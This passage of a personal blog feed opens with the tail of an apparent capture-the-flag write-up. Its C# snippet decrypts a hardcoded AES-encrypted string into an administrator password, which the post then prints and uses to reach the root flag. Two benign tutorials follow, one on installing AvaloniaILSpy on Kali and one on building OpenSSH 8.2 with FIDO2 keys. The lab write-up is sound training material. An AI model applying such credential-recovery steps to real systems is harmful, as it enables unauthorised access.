		&lt;span class=&quot;n&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;667912&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1313Rf99&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1L1SA61493DRV53Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;initVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;saltValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FromBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Rfc2898DeriveBytes&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rfc2898DeriveBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Rfc2898DeriveBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;passPhrase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;passwordIterations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;checked&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rfc2898DeriveBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;double&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;8.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;AesCryptoServiceProvider&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aesCryptoServiceProvider&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AesCryptoServiceProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;aesCryptoServiceProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CipherMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CBC&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;ICryptoTransform&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transform&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aesCryptoServiceProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStreamMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;];&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Program&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The output of it is: XtH4nkS4Pl4y1nGX (We have used dotnetfiddle for this again).&lt;/p&gt;

&lt;p&gt;Getting the Administrator files and navigating there we can find the root flag.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Installing AvaloniaILSpy on Kali Linux</title>
   <link href="http://www.matbra.com/2020/06/18/install-avalonia-ilspy.html"/>
   <updated>2020-06-18T00:00:00-05:00</updated>
   <id>http://www.matbra.com/2020/06/18/install-avalonia-ilspy</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;I have been studying pentest and eventually I had to decompile some VB NET (.NET) and decided to give a try on AvaloniaILSpy.&lt;/p&gt;

&lt;p&gt;If you ever need to install it on Kali linux 20 you can install its dependencies with:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get upgrade

wget https://packages.microsoft.com/config/ubuntu/19.10/packages-microsoft-prod.deb &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; packages-microsoft-prod.deb
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; packages-microsoft-prod.deb
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;apt-transport-https
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;dotnet-sdk-3.1

&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;mono-devel

git clone https://github.com/icsharpcode/AvaloniaILSpy.git
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;AvaloniaILSpy/
git submodule update &lt;span class=&quot;nt&quot;&gt;--init&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--recursive&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And later to build and run it:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;bash build.sh
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;artifacts/linux-x64/
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./ILSpy&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Hope this helps you,
Matheus&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Building OpenSSH 8.2 and using FIDO2 U2F on ssh authentication</title>
   <link href="http://www.matbra.com/2020/02/17/using-fido2-with-ssh.html"/>
   <updated>2020-02-17T00:00:00-06:00</updated>
   <id>http://www.matbra.com/2020/02/17/using-fido2-with-ssh</id>
   <content type="html">&lt;p&gt;OpenSSH 8.2 was just released with support for FIDO2 U2F keys. This is a nice extra layer for security!&lt;/p&gt;

&lt;p&gt;As this is not yet on official repository for Fedora, we will need to build openssh 8.2 if we want to test.&lt;/p&gt;

&lt;p&gt;OpenSSH 8.2 needs libfido2 and libfido2 needs libcbor systemd-devel. There is no package for FIDO2 on Fedora 31 yet, therefore we also need to build it.&lt;/p&gt;

&lt;p&gt;Let’s start installing some dependencies:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo dnf group install 'Development Tools'
$ sudo dnf install libselinux-devel libselinux libcbor libcbor-devel systemd-devel cmake
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To install libfido:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone git@github.com:Yubico/libfido2.git
$ cd libfido2
$ (rm -rf build &amp;amp;&amp;amp; mkdir build &amp;amp;&amp;amp; cd build &amp;amp;&amp;amp; cmake ..)
$ make -C build
$ sudo make -C build install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here we are cloning the code and basically using their commands to install it.&lt;/p&gt;

&lt;p&gt;With this dependency ready let’s get openssh-8.2:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mkdir openssl-8
$ cd openssl-8
$ mkdir test-openssh
$ wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
$ tar xvzf openssh-8.2p1.tar.gz
$ cd openssh-8.2p1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the code in place we will use configure to prepare it:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./configure --with-security-key-builtin --with-md5-passwords --with-selinux --with-privsep-path=$HOME/openssl-8/test-openssh --sysconfdir=$HOME/openssl-8/test-openssh --prefix=$HOME/openssl-8/test-openssh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Note: &lt;code class=&quot;highlighter-rouge&quot;&gt;--with-security-key-builtin&lt;/code&gt; is important to have support for FIDO2 internally. This command will prepare the path as &lt;code class=&quot;highlighter-rouge&quot;&gt;$HOME/openssl-8/test-openssh&lt;/code&gt; my idea here is to avoid messing with my existing ssh.&lt;/p&gt;

&lt;p&gt;After this is completed we can make/make install&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ make
$ make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I also had to create a udev rule:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo vim /etc/udev/rules.d/90-fido.rules
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With this content:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;KERNEL==&quot;hidraw*&quot;, SUBSYSTEM==&quot;hidraw&quot;, \
  MODE=&quot;0664&quot;, GROUP=&quot;plugdev&quot;, ATTRS{idVendor}==&quot;1050&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After all this I entered on the binary folder&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd $HOME/openssl-8/test-openssh/bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To run the binary we must use &lt;code class=&quot;highlighter-rouge&quot;&gt;./&lt;/code&gt; otherwise it will use the other binary which are system wide and we want to run the exact one which we just build. I’m not exactly sure why, but when I was running ssh-keygen, I was having some issues to find the libfido2.so.2&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
/home/matheus/openssl-8/test-openssh/libexec/ssh-sk-helper: error while loading shared libraries: libfido2.so.2: cannot open shared object file: No such file or directory
ssh_msg_recv: read header: Connection reset by peer
client_converse: receive: unexpected internal error
reap_helper: helper exited with non-zero exit status
Key enrollment failed: unexpected internal error
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In my case I found the location of this file and copied it to “/usr/lib64/libfido2.so.2”&lt;/p&gt;

&lt;p&gt;After this when running the command to generate it without the fido2 plugged in I got:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Key enrollment failed: device not found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Plugin the key in and trying again&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in -f /tmp/test_ecdsa_sk
Your public key has been saved in -f /tmp/test_ecdsa_sk.pub
The key fingerprint is:
SHA256:.../... host@boom
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The key was generated succesfully!!&lt;/p&gt;

&lt;p&gt;Now, I needed a server which supports this. Therefore I created a dockerfile from ubuntu:20.04 with an sshd running and openssh 8.2&lt;/p&gt;

&lt;p&gt;I’m using ubuntu:20.04 as it has libfido2 on apt and libcbor too.&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;FROM ubuntu:20.04
RUN apt-get update &amp;amp;&amp;amp; apt-get -y install software-properties-common build-essential zlib1g-dev libssl-dev libcbor-dev wget
RUN apt-add-repository -y ppa:yubico/stable &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp; apt-get -y install libfido2-dev
RUN apt-get -y install ssh &amp;amp;&amp;amp; apt-get -y remove ssh
RUN wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
RUN tar xvzf openssh-8.2p1.tar.gz
RUN cd openssh-8.2p1 &amp;amp;&amp;amp; ./configure --with-security-key-builtin --with-md5-passwords &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install 
EXPOSE 22
CMD [&quot;/usr/local/sbin/sshd&quot;, &quot;-D&quot;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To build and run this:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker build -t ubuntussh .
$ docker run -p 2222:22 -v /tmp/test_ecdsa_sk.pub:/root/.ssh/authorized_keys -it ubuntussh bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you will be inside the docker instance and I had to chown the authorized key file and run the sshd:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ chown -R root:root ~/.ssh/
$ /usr/local/sbin/sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Open a new terminal and cd into the openssl 8 bin folder again.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SSH_AUTH_SOCK= ./ssh -o &quot;PasswordAuthentication=no&quot; -o &quot;IdentitiesOnly=yes&quot; -i /tmp/test_ecdsa_sk root@localhost -p 2222
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;SSH_AUTH_SOCK&lt;/code&gt; is to avoid using the ssh-agent which is already running, -i to specify exactly the key I want to use.&lt;/p&gt;

&lt;p&gt;This outputs:&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Enter passphrase for key '/tmp/test_ecdsa_sk': 
Confirm user presence for key ECDSA-SK SHA256:bsIjeSdrNiB4FhxfYBoHH2sCXLiISu9sxDFNrFLgBwY
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we are in the ubuntussh with FIDO2+password!&lt;/p&gt;

&lt;p&gt;Hope this helps you,
Matheus&lt;/p&gt;

&lt;p&gt;Reference:
&lt;a href=&quot;https://bugs.archlinux.org/task/65513&quot;&gt;https://bugs.archlinux.org/task/65513&lt;/a&gt;
